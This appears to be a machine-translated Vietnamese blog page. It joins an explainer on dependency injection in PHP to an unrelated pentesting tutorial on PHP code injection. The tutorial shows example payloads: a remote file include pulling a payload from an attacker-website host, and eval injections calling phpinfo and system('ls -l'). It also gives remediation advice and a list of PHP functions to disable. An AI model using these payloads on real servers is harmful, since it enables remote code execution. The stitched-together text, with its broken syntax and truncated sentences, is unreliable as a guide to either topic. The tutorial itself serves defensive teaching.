Ưu điểm chính của việc sử dụng phép nội xạ phụ thuộc là nó khuyến khích lập trình mô-đun [Quá trình chia nhỏ chương trình máy tính thành các chương trình con riêng biệt]
Điều đầu tiên chúng ta cần nói về sự phụ thuộc là gì. Vì vậy, trong phép nội xạ phụ thuộc, các phần phụ thuộc là các đối tượng mà bạn cần sử dụng trong lớp của mình và việc tiêm nội dung đơn giản có nghĩa là chuyển các phần phụ thuộc đó vào lớp của bạn, nói một cách đơn giản, một phần phụ thuộc chỉ là một đối tượng khác mà lớp của bạn cần để hoạt động
Có nhiều cách khác nhau để đưa các phụ thuộc vào các lớp của bạn nhưng cách phổ biến nhất là thông qua hàm tạo của lớp bạn
class UserRepository
{
private $db;
private $config;
private $user;
public function __construct[Database $db, Config $config, User $user]
{
$this->db = $db;
$this->config = $config;
$this->user = $user;
}
}
Trên đây là phương thức khởi tạo của tôi, phương thức này sẽ đưa các phụ thuộc vào Kho lưu trữ người dùng dưới dạng thuộc tính lớp, vì vậy tôi có thể sử dụng chúng trong toàn bộ lớp. Thay vì khởi tạo chúng trong lớp của tôi, tôi sẽ đưa chúng vào khi UserRepository tự khởi tạo
Cùng với các giao diện — bạn có thể coi các lớp là “hộp đen”, nơi bạn có thể thay đổi các phần phụ thuộc và biết rằng sẽ không có gì bị hỏng
Điều này có vẻ tuyệt vời phải không? . Còn rất nhiều lợi ích khác nữa
Kiểm tra trở nên dễ dàng hơn,
Tái cấu trúc trở nên dễ dàng hơn và
Sử dụng lại mã dễ dàng hơn
Cuộc sống của một lập trình viên sử dụng phép nội xạ phụ thuộc dễ dàng hơn nhiều
Đối với cá nhân tôi, việc tiêm phụ thuộc đã cải thiện chất lượng mã của tôi và nó chắc chắn đáng để thực hiện
Chèn mã là một kỹ thuật được kẻ tấn công sử dụng để đưa mã phía máy chủ từ bên ngoài vào để công nghệ phía máy chủ tương ứng có thể đánh giá mã đó
Điều gì có thể được thực hiện bằng cách tiêm mã?Các cuộc tấn công chèn mã rất nghiêm trọng vì nó dẫn đến việc làm tổn hại đến dữ liệu và chức năng của ứng dụng, nó cũng có thể thu thập…
OWASP định nghĩa Tiêm mã là một thuật ngữ chung cho bất kỳ loại tấn công nào bao gồm việc tiêm mã, sau đó được ứng dụng giải thích và thực thi. Kiểu tấn công này khai thác việc xử lý kém dữ liệu không đáng tin cậy. Các kiểu tấn công này thường có thể thực hiện được do thiếu xác thực dữ liệu đầu vào/đầu ra thích hợp, chẳng hạn như
- các ký tự được phép [các lớp biểu thức chính quy tiêu chuẩn hoặc tùy chỉnh]
- định dạng dữ liệu
- lượng dữ liệu dự kiến
Tiêm mã khác với Tiêm lệnh ở chỗ kẻ tấn công chỉ bị giới hạn bởi chức năng của chính ngôn ngữ được tiêm. Nếu kẻ tấn công có thể chèn và thực thi mã PHP vào một ứng dụng, thì chúng chỉ bị giới hạn bởi khả năng của PHP. Chèn lệnh bao gồm tận dụng mã hiện có để thực thi lệnh, thường là trong ngữ cảnh của trình bao
Làm thế nào nó hoạt động?
cảnh 1. Hàm PHP bao gồm []
Trong trường hợp này, hàm PHP include[] đang được sử dụng mà không có xác thực đầu vào
//vulnerable-site.com/?path=support.php
Để khai thác lỗ hổng, chúng tôi sẽ lưu trữ tải trọng của mình trong một máy chủ bên ngoài để gọi tệp bên ngoài và thực thi trên máy chủ dễ bị tấn công
//vulnerable-site.com/?path=//attacker-website/paylaod.php
kịch bản 2. Hàm PHP eval[]
Trong ví dụ này, hàm PHP eval[] dễ bị tấn công đang được sử dụng, cung cấp một cách nhanh chóng và thuận tiện để thực thi các giá trị chuỗi dưới dạng mã PHP, đặc biệt là trong các giai đoạn phát triển ban đầu hoặc để gỡ lỗi, điều này sẽ gây ra việc chèn mã. Mã nguồn trông giống như sau
Tham số đang được chuyển đến URL như sau
//vulnerable-site.com/?parameter=value
Kẻ tấn công biết hàm eval[] đang được sử dụng [có thể được tiết lộ qua thông báo lỗi] có thể gửi tải trọng sau để khai thác lỗ hổng
//vulnerable-site.com/?parameter=value;phpinfo[];
Nếu thành công, phpinfo[] sẽ được thực thi sau khi ‘echo’ing giá trị tham số và sẽ cung cấp thông tin về cấu hình chi tiết
Hơn nữa, trong trường hợp chức năng system[] cũng được bật, điều này có thể cho phép kẻ tấn công thực thi các lệnh tùy ý như bên dưới
//vulnerable-site.com/?parameter=value;system['ls -l'];
Tác động của việc tiêm mã là gì
Trường hợp mã độc đầu vào của người dùng được xử lý không an toàn, lỗ hổng cho phép thực thi mã. Điều này có thể dẫn đến việc thực thi mã tùy ý trên máy chủ hoặc chạy các lệnh hệ thống trên máy chủ dẫn đến các cuộc tấn công tiêm lệnh. Dựa trên các đặc quyền hiện tại, cuộc tấn công có thể dẫn đến việc chiếm được vỏ tương tác trên hệ thống dễ bị tấn công
Cheat chèn mã
msfvenom
khắc phục
Để tránh và khắc phục việc tiêm mã, bạn có thể làm như sau
- Xác thực/Khử trùng trên đầu vào của người dùng. Dữ liệu từ tất cả các nguồn có khả năng không đáng tin cậy phải được xác thực đầu vào, bao gồm không chỉ các ứng dụng khách web truy cập Internet mà còn cả nguồn cấp dữ liệu phụ trợ qua các mạng bên ngoài, từ các nhà cung cấp, đối tác, nhà cung cấp hoặc cơ quan quản lý, mỗi nguồn trong số đó có thể tự bị xâm phạm và bắt đầu gửi không đúng định dạng
- Tránh sử dụng các chức năng dễ bị tổn thương trong mã. Cũng có thể kiểm tra mã bằng các công cụ tự động để xác định các chức năng không an toàn và các lỗ hổng có thể xảy ra
- Tái bút. Các chức năng thường bị vô hiệu hóa cho PHP bao gồm. exec[], passthru[], shell_exec[], system[], proc_open[], popen[], curl_exec[], curl_multi_exec[], parse_ini_file[], và show_source[]
Nếu bạn đang tìm kiếm hướng dẫn chi tiết hơn về cách khai thác Code Injection, hãy xem video mới nhất của tôi
Ngoài ra, hãy đọc thêm Hướng dẫn của Pentester với Hướng dẫn về Chèn lệnh có tại đây hoặc Hướng dẫn về SSRF có tại đây